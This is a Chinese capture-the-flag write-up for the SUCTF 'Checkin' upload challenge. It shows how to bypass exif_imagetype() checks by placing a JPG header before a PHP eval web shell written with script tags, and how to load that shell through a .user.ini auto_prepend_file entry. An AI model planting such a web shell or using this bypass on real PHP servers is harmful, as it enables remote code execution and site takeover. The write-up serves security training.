KerryHHH0x0

[SUCTF]Checkin

字数统计: 529阅读时长: 1 min
2019/11/08 Share

题目概述

打开题目,很明显这是一道文件上传的题目:

image-20191108142539525

简单上传了一个几个不同类型的文件拓展名后发现exif_imagetype()函数的过滤

image-20191108143021200

并且过滤了<?,因此php脚本中不能出现普通的php标签

exif_imagetype()

这是php中内置的一个函数,它会对文件中的文件头进行识别,如果文件头不符合图片(jpg,gif,png等)的文件头,则会返回false。因此这里就需要用到图片马的知识了,我们可以在文件的头部添加jpg文件的文件头,或者是直接将一个图片和一个php文件拼装起来。php解释器并不会执行php标签外的内容,因此jpg文件的内容并不会影响到php代码的执行。

.user.ini

题目对php的拓展名限制的非常死,而使用图片马时需要用到文件包含的漏洞来包含一个jpg文件,才能够执行图片马中的php代码。

.user.ini是一个很特殊的文件,有点类似于 .htaccess 文件,通过这个文件,我们可以在当前目录下应用.user.ini文件中添加的配置信息。

在.user.ini中可以识别PHP_INI_PERDIR和PHP_INI_USER模式的INI设置
关于PHP_INI_*一共有四种:

PHP_INI_USER 可在用户脚本以及.user.ini中设定

PHP_INI_PERDIR 可在php.ini,.htaccess或httpd.conf中设定

PHP_INI_SYSTEM 可在php.ini或httpd.conf中设定

PHP_INI_ALL 可在任何地方设定

而在php.ini的配置项中有一项auto_prepend_file,可以让php文件在执行前包含指定文件,因而可以利用来包含我们的图片马

解题过程

1. 创建.user.ini文件

windows下无法直接创建.开头的文件,因此需要在命令行中创建该文件。

1
echo auto_prepend_file=test.jpg > .user.ini

添加jpg文件头:

image-20191108150528200

创建test.php,因为无法使用<?标签,所以使用了script标签

1
2
3
<script language='php'>
@eval($_POST['pass']);
</script>

生成图片马

image-20191108151518241

然后上传成功后,就可以用蚁剑连接上,并找到flag了

image-20191108152011377

CATALOG
  1. 1. 题目概述
    1. 1.0.1. exif_imagetype()
    2. 1.0.2. .user.ini
  • 2. 解题过程
    1. 2.0.1. 1. 创建.user.ini文件